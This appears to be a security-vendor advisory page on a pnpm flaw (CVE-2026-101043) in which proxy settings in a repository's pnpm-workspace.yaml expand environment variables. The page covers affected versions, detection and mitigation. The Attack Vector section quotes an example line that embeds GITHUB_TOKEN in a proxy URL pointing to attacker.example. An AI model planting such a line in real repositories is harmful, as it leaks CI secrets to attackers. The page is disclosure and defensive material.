Skip to main content
Vulnerability Database/CVE-2026-101043

CVE-2026-101043: pnpm Environment Variable Disclosure Flaw

CVE-2026-101043 is an information disclosure vulnerability in pnpm that allows attackers to exfiltrate environment secrets through proxy settings. This post covers technical details, affected versions, and mitigation.

Published:

Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.

Sources: National Vulnerability Database, CISA KEV, Exploit-DB

CVE-2026-101043 Overview

CVE-2026-101043 is an information disclosure vulnerability in pnpm, a popular JavaScript package manager. The flaw affects pnpm versions 11.0.0 before 11.11.0 and 10.7.0 before 10.34.5. The package manager expands ${VAR} environment-variable placeholders in httpProxy, httpsProxy, and noProxy settings read from a repository-controlled pnpm-workspace.yaml file. An attacker controlling a repository manifest can coerce a victim into exfiltrating environment secrets such as NPM_TOKEN or GITHUB_TOKEN to an attacker-controlled proxy host. Exfiltration occurs during configuration loading, before any lifecycle script executes [CWE-201].

Critical Impact

A malicious pnpm-workspace.yaml can exfiltrate CI/CD secrets through proxy hostname expansion the moment a victim runs pnpm install, with no lifecycle script execution required.

Affected Products

  • pnpm 11.0.0 through 11.10.x (fixed in 11.11.0)
  • pnpm 10.7.0 through 10.34.4 (fixed in 10.34.5)
  • Any CI/CD runner or developer workstation cloning untrusted repositories with environment secrets set

Discovery Timeline

  • 2026-09-27 - CVE-2026-101043 published to NVD
  • 2026-09-30 - Last updated in NVD database

Technical Details for CVE-2026-101043

Vulnerability Analysis

The vulnerability stems from inconsistent handling of placeholder expansion across configuration keys in pnpm. The project manifest pnpm-workspace.yaml is treated as repository-controlled input. Pnpm already maintains a request-destination key set that suppresses ${VAR} expansion for untrusted manifests on keys such as registry, pnprServer, registries, and namedRegistries. The proxy-related keys httpProxy, httpsProxy, and noProxy were omitted from this suppression list. When pnpm loads workspace configuration, it expands environment variables inside these proxy values. An attacker who authors a pnpm-workspace.yaml with a crafted proxy value causes any secret in the victim's environment to be embedded into a URL hostname or userinfo component. Pnpm then routes install traffic and DNS resolution through the attacker-controlled host, leaking the secret via HTTP request or DNS query logs.

Root Cause

The root cause is an incomplete allowlist for restricting variable expansion on untrusted manifest keys. Proxy configuration keys were not added to the destination key set that already protects registry-related fields, creating an information exposure through sent data channel [CWE-201].

Attack Vector

Exploitation requires a victim to clone an attacker-controlled repository and execute any pnpm command that triggers configuration loading, such as pnpm install. The attacker supplies a pnpm-workspace.yaml containing an entry like httpsProxy: http://${GITHUB_TOKEN}@attacker.example. During configuration loading, pnpm substitutes the token into the proxy URL. The resulting outbound connection and DNS lookup transmit the secret to attacker infrastructure before any package install or lifecycle script runs. See the GitHub Security Advisory GHSA-vx52-2968-3vc6 for additional technical detail.

Detection Methods for CVE-2026-101043

Indicators of Compromise

  • Outbound HTTP/HTTPS connections from developer workstations or CI runners to unexpected proxy hosts shortly after git clone or pnpm install activity
  • DNS queries containing token-like substrings (long hexadecimal or ghp_, github_pat_, npm_ prefixed strings) in the hostname or subdomain label
  • Presence of httpProxy, httpsProxy, or noProxy keys referencing ${...} placeholders inside any committed pnpm-workspace.yaml
  • Pnpm process activity on versions 11.0.0–11.10.x or 10.7.0–10.34.4

Detection Strategies

  • Scan source repositories and build caches for pnpm-workspace.yaml files containing ${ substrings within httpProxy, httpsProxy, or noProxy values
  • Baseline the proxy destinations used by build agents and alert on first-seen external proxy hostnames
  • Correlate pnpm process execution with egress connections to non-corporate network ranges
  • Inspect CI job logs for unexpected proxy configuration echoed during pnpm startup

Monitoring Recommendations

  • Forward endpoint process telemetry and DNS logs from developer and CI systems into a central analytics tier for cross-correlation
  • Monitor outbound egress from build infrastructure for connections to newly observed domains during dependency resolution phases
  • Track pnpm binary versions across the fleet and alert on executions of vulnerable releases

How to Mitigate CVE-2026-101043

Immediate Actions Required

  • Upgrade pnpm to 11.11.0 or 10.34.5 or later on all developer workstations, container images, and CI/CD runners
  • Rotate any secrets (NPM_TOKEN, GITHUB_TOKEN, registry credentials, cloud provider tokens) that may have been present in environments running vulnerable pnpm against untrusted repositories
  • Audit recently cloned third-party repositories for pnpm-workspace.yaml files containing proxy placeholders
  • Block outbound egress from CI runners to arbitrary internet destinations and restrict traffic to approved registry mirrors

Patch Information

The pnpm maintainers resolved the issue by adding httpProxy, httpsProxy, and noProxy to the request-destination key set that suppresses placeholder expansion for untrusted manifests. Fixed releases are pnpm 11.11.0 and 10.34.5. Refer to the GitHub Security Advisory and the VulnCheck Advisory on pnpm for official vendor guidance.

Workarounds

  • Run pnpm commands against untrusted repositories inside ephemeral containers that contain no sensitive environment variables
  • Strip or unset secrets such as NPM_TOKEN and GITHUB_TOKEN from shells before running pnpm install on cloned third-party code
  • Enforce egress allowlisting so pnpm can only reach approved registry endpoints, preventing exfiltration through arbitrary proxy hosts
  • Pre-commit scan repository manifests for httpProxy, httpsProxy, or noProxy keys and reject those containing ${...} placeholders
bash
# Configuration example: verify and upgrade pnpm, then validate
npm install -g pnpm@11.11.0   # or pnpm@10.34.5 for the 10.x branch
pnpm --version

# Scan a repository for the vulnerable pattern before running pnpm install
grep -nE '^(httpProxy|httpsProxy|noProxy):.*\$\{' pnpm-workspace.yaml || echo "No vulnerable proxy placeholders found"

Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.

Sources: National Vulnerability Database, CISA KEV, Exploit-DB

Experience the Most Advanced Cybersecurity Platform

See how the world’s most intelligent, autonomous cybersecurity platform can protect your organization today and into the future.